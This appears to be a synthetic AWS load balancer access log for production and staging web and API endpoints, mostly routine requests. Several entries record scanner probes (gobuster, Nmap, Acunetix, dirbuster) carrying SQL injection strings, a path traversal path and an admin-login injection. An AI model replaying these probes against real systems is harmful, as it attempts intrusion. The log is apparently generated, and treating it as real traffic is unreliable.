2024-11-01T02:33:51.021142Z "forward" "-" "-" "141.45.118.104:80" "302" "-" "-" +https 2024-11-01T02:33:51.198522Z prod-web-alb 156.53.162.127:62655 10.0.251.187:443 0.056703 0.216102 0.057769 200 200 254 6789 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db9f-bcd79ad9365e48488154b02a" "prod-web-alb.example.com" "-" 7 2024-11-01T02:33:51.198522Z "forward" "-" "-" "10.0.251.187:443" "200" "-" "-" +https 2024-11-01T02:33:51.648914Z prod-web-alb 66.253.141.236:21489 10.0.199.170:443 0.005462 0.128967 0.031880 301 301 228 7629 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db9f-6d1d9d27bc6c4ca6b261e9e1" "prod-web-alb.example.com" "-" 8 2024-11-01T02:33:51.648914Z "forward" "-" "-" "10.0.199.170:443" "301" "-" "-" +https 2024-11-01T02:33:53.366073Z prod-web-alb 187.80.232.28:32700 10.0.163.169:443 0.029438 0.196444 0.006032 302 302 72 12714 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dba1-0f6305c609ba4388a937f7ae" "prod-web-alb.example.com" "-" 9 2024-11-01T02:33:53.366073Z "forward" "-" "-" "10.0.163.169:443" "302" "-" "-" +https 2024-11-01T02:33:55.140756Z staging-alb 32.98.158.169:57226 234.33.237.223:80 0.064558 0.125704 0.125823 302 302 944 3558 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dba3-60ae65a2538a4eb88c2ccd6f" "staging-alb.example.com" "-" 1 2024-11-01T02:33:55.140756Z "forward" "-" "-" "234.33.237.223:80" "302" "-" "-" +https 2024-11-01T02:33:56.641706Z prod-web-alb 201.207.163.24:10041 10.0.25.93:443 0.098915 0.093299 0.010502 200 200 270 5262 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dba4-ec532e20123c4bc287604a6f" "prod-web-alb.example.com" "-" 6 2024-11-01T02:33:56.641706Z "forward" "-" "-" "10.0.25.93:443" "200" "-" "-" +https 2024-11-01T02:33:58.572324Z prod-api-alb 31.94.238.146:46967 10.0.92.95:443 0.093569 0.182638 0.007123 404 404 775 11027 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dba6-be37b36639a6485b8676178d" "prod-api-alb.example.com" "-" 8 2024-11-01T02:33:58.572324Z "forward" "-" "-" "10.0.92.95:443" "404" "-" "-" +https 2024-11-01T02:33:59.899640Z staging-alb 193.230.56.6:27390 185.105.15.76:8080 0.090985 0.603789 0.122590 302 302 119 5108 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dba7-20bb5f4eefc140b39514e82c" "staging-alb.example.com" "-" 10 2024-11-01T02:33:59.899640Z "forward" "-" "-" "185.105.15.76:8080" "302" "-" "-" +https 2024-11-01T02:34:00.972533Z prod-api-alb 193.27.228.108:29528 10.0.70.222:443 0.034025 0.200621 0.062377 403 403 53 2991 "GET /login?id=1'-- HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dba8-9e6221aa6e544e508a0436a5" "-" "-" 4 2024-11-01T02:34:00.972533Z "forward" "-" "-" "10.0.70.222:443" "403" "-" "-" +https 2024-11-01T02:34:01.791338Z prod-api-alb 185.181.58.110:15898 10.0.197.147:443 0.032850 0.057789 0.020503 403 403 484 6144 "GET /search?q=1' UNION SELECT HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dba9-33414af5cd9e4cc29e11932e" "-" "-" 3 2024-11-01T02:34:01.791338Z "forward" "-" "-" "10.0.197.147:443" "403" "-" "-" +https 2024-11-01T02:34:02.339911Z prod-api-alb 195.37.241.149:15149 10.0.59.148:443 0.061752 0.132949 0.031475 200 200 365 13892 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbaa-f45777b7d29540d7afb505cf" "prod-api-alb.example.com" "-" 0 2024-11-01T02:34:02.339911Z "forward" "-" "-" "10.0.59.148:443" "200" "-" "-" +https 2024-11-01T02:34:04.306558Z prod-api-alb 37.17.124.66:19537 10.0.112.104:443 0.005706 0.063043 0.043583 200 200 726 4831 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbac-85c59f9c5b474f9ca5bec1d7" "-" "-" 3 2024-11-01T02:34:04.306558Z "forward" "-" "-" "10.0.112.104:443" "200" "-" "-" +https 2024-11-01T02:34:04.623819Z prod-web-alb 75.226.24.10:50553 10.0.5.113:443 0.032035 0.243521 0.047334 200 200 726 6878 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dbac-71b6b4a61113473384618541" "prod-web-alb.example.com" "-" 1 2024-11-01T02:34:04.623819Z "forward" "-" "-" "10.0.5.113:443" "200" "-" "-" +https 2024-11-01T02:34:06.315282Z prod-web-alb 115.5.4.11:32605 10.0.207.55:443 0.002990 0.106791 0.045663 200 200 633 3082 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbae-05a229427c014d709e6edf17" "prod-web-alb.example.com" "-" 1 2024-11-01T02:34:06.315282Z "forward" "-" "-" "10.0.207.55:443" "200" "-" "-" +https 2024-11-01T02:34:08.108714Z prod-api-alb 129.69.60.137:58422 10.0.26.141:443 0.098567 0.434594 0.069309 302 302 376 13858 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbb0-c45dae2a655d4e569753d729" "prod-api-alb.example.com" "-" 0 2024-11-01T02:34:08.108714Z "forward" "-" "-" "10.0.26.141:443" "302" "-" "-" +http 2024-11-01T02:34:09.785824Z staging-alb 140.3.155.238:28492 138.245.212.87:8080 0.002953 0.207814 0.100500 302 302 968 3580 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbb1-79885159a87945ee9e38fa7a" "staging-alb.example.com" "-" 4 2024-11-01T02:34:09.785824Z "forward" "-" "-" "138.245.212.87:8080" "302" "-" "-" +http 2024-11-01T02:34:10.572523Z staging-alb 168.87.102.198:35579 107.221.117.66:8080 0.067563 0.089695 0.052358 301 301 620 11970 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbb2-96850ef5a1f34ae8ac7b1b82" "staging-alb.example.com" "-" 0 2024-11-01T02:34:10.572523Z "forward" "-" "-" "107.221.117.66:8080" "301" "-" "-" +https 2024-11-01T02:34:12.439188Z prod-api-alb 97.250.156.59:33626 10.0.178.58:443 0.031742 0.257664 0.055138 200 200 80 11093 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbb4-5ebc0a43d35946b68908c9e5" "prod-api-alb.example.com" "-" 3 2024-11-01T02:34:12.439188Z "forward" "-" "-" "10.0.178.58:443" "200" "-" "-" +https 2024-11-01T02:34:12.774984Z prod-web-alb 254.249.151.90:11875 10.0.111.202:443 0.036434 0.396406 0.003643 200 200 380 1315 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dbb4-99befe02b4b544d08d4ac1e0" "prod-web-alb.example.com" "-" 9 2024-11-01T02:34:12.774984Z "forward" "-" "-" "10.0.111.202:443" "200" "-" "-" +http 2024-11-01T02:34:13.361052Z staging-alb 202.68.31.188:38965 129.48.185.142:8080 0.047238 0.476584 0.066273 200 200 25 4564 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbb5-83a43f6611b040369aef1f5f" "staging-alb.example.com" "-" 4 2024-11-01T02:34:13.361052Z "forward" "-" "-" "129.48.185.142:8080" "200" "-" "-" +https 2024-11-01T02:34:15.145361Z prod-api-alb 45.155.205.251:46084 10.0.188.118:443 0.031481 0.447741 0.087657 302 302 629 7765 "GET /wp-admin HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbb7-e852acad193943e18c44c045" "-" "-" 5 2024-11-01T02:34:15.145361Z "forward" "-" "-" "10.0.188.118:443" "302" "-" "-" +https 2024-11-01T02:34:15.960214Z prod-api-alb 29.31.15.33:48645 10.0.99.41:443 0.086126 0.171453 0.013518 302 302 52 12945 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbb7-304e971add86466281fe2a63" "prod-api-alb.example.com" "-" 2 2024-11-01T02:34:15.960214Z "forward" "-" "-" "10.0.99.41:443" "302" "-" "-" +https 2024-11-01T02:34:17.905143Z prod-api-alb 204.50.98.150:22585 10.0.251.113:443 0.056821 0.444751 0.020013 200 200 987 11127 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbb9-afa73de4cdea495484506553" "prod-api-alb.example.com" "-" 7 2024-11-01T02:34:17.905143Z "forward" "-" "-" "10.0.251.113:443" "200" "-" "-" +https 2024-11-01T02:34:18.240917Z prod-web-alb 32.109.142.203:28897 10.0.27.76:443 0.022350 0.176629 0.076964 302 302 964 2831 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbba-96c2c70b2265455cb4f58fa1" "prod-web-alb.example.com" "-" 7 2024-11-01T02:34:18.240917Z "forward" "-" "-" "10.0.27.76:443" "302" "-" "-" +https 2024-11-01T02:34:18.738141Z prod-web-alb 138.67.56.89:58837 10.0.131.73:443 0.083243 0.453180 0.015541 301 301 301 889 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbba-0c2a79f666134b3b99920d7f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:34:18.738141Z "forward" "-" "-" "10.0.131.73:443" "301" "-" "-" +https 2024-11-01T02:34:19.814247Z staging-alb 91.23.36.127:37982 85.23.43.70:80 0.037757 0.466981 0.016293 200 200 308 6154 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbbb-84b1cd56d76448d486d12a1b" "staging-alb.example.com" "-" 6 2024-11-01T02:34:19.814247Z "forward" "-" "-" "85.23.43.70:80" "200" "-" "-" +https 2024-11-01T02:34:20.998187Z prod-api-alb 75.215.212.77:10485 10.0.236.8:443 0.011876 0.384899 0.084466 200 200 726 716 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbbc-8c6f30b39b9a42abb0903807" "prod-api-alb.example.com" "-" 3 2024-11-01T02:34:20.998187Z "forward" "-" "-" "10.0.236.8:443" "200" "-" "-" +https 2024-11-01T02:34:22.244591Z staging-alb 194.251.189.52:39828 234.207.151.87:443 0.134302 0.454768 0.112840 200 200 890 5321 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbbe-4599a6eee9634e689cd6a745" "staging-alb.example.com" "-" 0 2024-11-01T02:34:22.244591Z "forward" "-" "-" "234.207.151.87:443" "200" "-" "-" +http 2024-11-01T02:34:24.157238Z staging-alb 25.141.28.251:52181 90.162.253.37:8080 0.059896 0.367248 0.074551 302 302 908 6053 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbc0-8ee2f37e3ba14dd396db55bb" "staging-alb.example.com" "-" 8 2024-11-01T02:34:24.157238Z "forward" "-" "-" "90.162.253.37:8080" "302" "-" "-" +http 2024-11-01T02:34:24.422196Z staging-alb 27.235.141.73:42311 105.210.219.251:80 0.084693 0.746039 0.109615 302 302 595 5662 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbc0-1f4591c473074071bce9b231" "staging-alb.example.com" "-" 0 2024-11-01T02:34:24.422196Z "forward" "-" "-" "105.210.219.251:80" "302" "-" "-" +https 2024-11-01T02:34:24.796547Z prod-web-alb 85.37.124.18:21115 10.0.175.215:443 0.097271 0.484207 0.070815 200 200 460 8657 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dbc0-ae234f2e46f349c19038124d" "prod-web-alb.example.com" "-" 1 2024-11-01T02:34:24.796547Z "forward" "-" "-" "10.0.175.215:443" "200" "-" "-" +https 2024-11-01T02:34:26.321748Z prod-web-alb 238.130.196.212:56016 10.0.149.101:443 0.019909 0.281250 0.038289 200 200 595 8365 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dbc2-0de8c7911dc342e498bc94ad" "prod-web-alb.example.com" "-" 8 2024-11-01T02:34:26.321748Z "forward" "-" "-" "10.0.149.101:443" "200" "-" "-" +https 2024-11-01T02:34:26.443413Z prod-api-alb 133.113.121.234:61556 10.0.87.230:443 0.087795 0.358404 0.040347 302 302 456 9589 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbc2-6ce365ab15164e0eaf747c5d" "prod-api-alb.example.com" "-" 8 2024-11-01T02:34:26.443413Z "forward" "-" "-" "10.0.87.230:443" "302" "-" "-" +https 2024-11-01T02:34:26.664048Z prod-web-alb 18.132.14.236:12445 10.0.231.23:443 0.048002 0.024202 0.008727 200 200 120 4786 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbc2-4b6d0cb5cfcb4ccb82fc5b33" "prod-web-alb.example.com" "-" 2 2024-11-01T02:34:26.664048Z "forward" "-" "-" "10.0.231.23:443" "200" "-" "-" +https 2024-11-01T02:34:27.678567Z prod-api-alb 4.117.174.101:30947 10.0.14.240:443 0.084922 0.485239 0.019449 404 404 599 4094 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbc3-1ead4a48676b49c992924421" "prod-api-alb.example.com" "-" 2 2024-11-01T02:34:27.678567Z "forward" "-" "-" "10.0.14.240:443" "404" "-" "-" +https 2024-11-01T02:34:29.280205Z prod-api-alb 196.180.64.119:54633 10.0.21.158:443 0.077307 0.082811 0.002013 200 200 772 6252 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbc5-7bf453d6e7c34392bbbe0810" "-" "-" 6 2024-11-01T02:34:29.280205Z "forward" "-" "-" "10.0.21.158:443" "200" "-" "-" +https 2024-11-01T02:34:30.731026Z staging-alb 202.133.112.134:61179 162.75.155.107:80 0.114685 0.154751 0.074935 200 200 884 8498 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbc6-51872c78cf664b67a5ef23c6" "staging-alb.example.com" "-" 6 2024-11-01T02:34:30.731026Z "forward" "-" "-" "162.75.155.107:80" "200" "-" "-" +https 2024-11-01T02:34:32.032989Z prod-web-alb 10.181.132.176:20355 10.0.45.141:443 0.022359 0.050265 0.067486 200 200 636 5568 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbc8-ac64c902559145368e825511" "prod-web-alb.example.com" "-" 0 2024-11-01T02:34:32.032989Z "forward" "-" "-" "10.0.45.141:443" "200" "-" "-" +https 2024-11-01T02:34:33.660525Z prod-api-alb 45.155.205.4:49295 10.0.27.49:443 0.018882 0.380758 0.030658 500 500 219 6913 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbc9-fd761a28b6304ec9be3d9c47" "-" "-" 6 2024-11-01T02:34:33.660525Z "forward" "-" "-" "10.0.27.49:443" "500" "-" "-" +https 2024-11-01T02:34:34.248003Z staging-alb 167.207.88.98:49503 232.33.47.21:8080 0.092643 0.113460 0.038198 302 302 843 10265 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbca-cb83b608a2aa4d4d87439620" "staging-alb.example.com" "-" 7 2024-11-01T02:34:34.248003Z "forward" "-" "-" "232.33.47.21:8080" "302" "-" "-" +https 2024-11-01T02:34:35.842148Z prod-api-alb 119.73.249.197:29861 10.0.130.36:443 0.025454 0.468099 0.099753 301 301 979 9075 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbcb-fb8b14d4dd4744628b9ee515" "prod-api-alb.example.com" "-" 2 2024-11-01T02:34:35.842148Z "forward" "-" "-" "10.0.130.36:443" "301" "-" "-" +https 2024-11-01T02:34:37.203675Z staging-alb 45.155.205.141:26830 13.156.233.15:443 0.135647 0.514638 0.121472 404 404 226 3306 "GET /static/../../secret HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbcd-fccdeefb68584bcd96a923e0" "-" "-" 8 2024-11-01T02:34:37.203675Z "forward" "-" "-" "13.156.233.15:443" "404" "-" "-" +https 2024-11-01T02:34:38.089076Z prod-api-alb 86.145.106.237:62508 10.0.140.6:443 0.012941 0.498475 0.024316 200 200 842 13238 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbce-5ec5aa3f5a1c4a5b981693bf" "prod-api-alb.example.com" "-" 1 2024-11-01T02:34:38.089076Z "forward" "-" "-" "10.0.140.6:443" "200" "-" "-" +https 2024-11-01T02:34:39.178656Z prod-web-alb 136.28.39.61:45531 10.0.167.151:443 0.029288 0.203418 0.030894 404 404 985 208 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbcf-8fb2d9496f9f4980888c9d05" "prod-web-alb.example.com" "-" 2 2024-11-01T02:34:39.178656Z "forward" "-" "-" "10.0.167.151:443" "404" "-" "-" +https 2024-11-01T02:34:40.230280Z prod-api-alb 107.138.182.242:37146 10.0.244.91:443 0.001882 0.090482 0.078595 200 200 686 10891 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbd0-fd71a911b38d4dab92b34aea" "prod-api-alb.example.com" "-" 6 2024-11-01T02:34:40.230280Z "forward" "-" "-" "10.0.244.91:443" "200" "-" "-" +http 2024-11-01T02:34:40.816972Z staging-alb 135.252.103.6:53015 110.162.148.17:8080 0.023873 0.374102 0.118324 200 200 914 11091 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbd0-4bea482444b74cd8a002cb8d" "staging-alb.example.com" "-" 3 2024-11-01T02:34:40.816972Z "forward" "-" "-" "110.162.148.17:8080" "200" "-" "-" +https 2024-11-01T02:34:42.072006Z staging-alb 238.194.66.240:24384 20.110.251.156:443 0.030728 0.702690 0.131508 200 200 565 2465 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbd2-b24d6f11ff624806bf070185" "staging-alb.example.com" "-" 9 2024-11-01T02:34:42.072006Z "forward" "-" "-" "20.110.251.156:443" "200" "-" "-" +https 2024-11-01T02:34:43.908452Z prod-web-alb 33.237.42.73:58683 10.0.193.230:443 0.082813 0.467601 0.001991 302 302 241 11680 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbd3-6560ef6e60c54dd0b165a76b" "prod-web-alb.example.com" "-" 5 2024-11-01T02:34:43.908452Z "forward" "-" "-" "10.0.193.230:443" "302" "-" "-" +https 2024-11-01T02:34:45.524844Z prod-web-alb 199.114.36.60:39957 10.0.67.187:443 0.068027 0.221080 0.096117 404 404 320 2778 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbd5-df03063fc67447efadaf9e60" "prod-web-alb.example.com" "-" 8 2024-11-01T02:34:45.524844Z "forward" "-" "-" "10.0.67.187:443" "404" "-" "-" +https 2024-11-01T02:34:45.873520Z prod-api-alb 214.6.66.135:48234 10.0.198.20:443 0.040831 0.113445 0.078911 200 200 126 12335 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbd5-0986fbd2721b41a990942838" "prod-api-alb.example.com" "-" 1 2024-11-01T02:34:45.873520Z "forward" "-" "-" "10.0.198.20:443" "200" "-" "-" 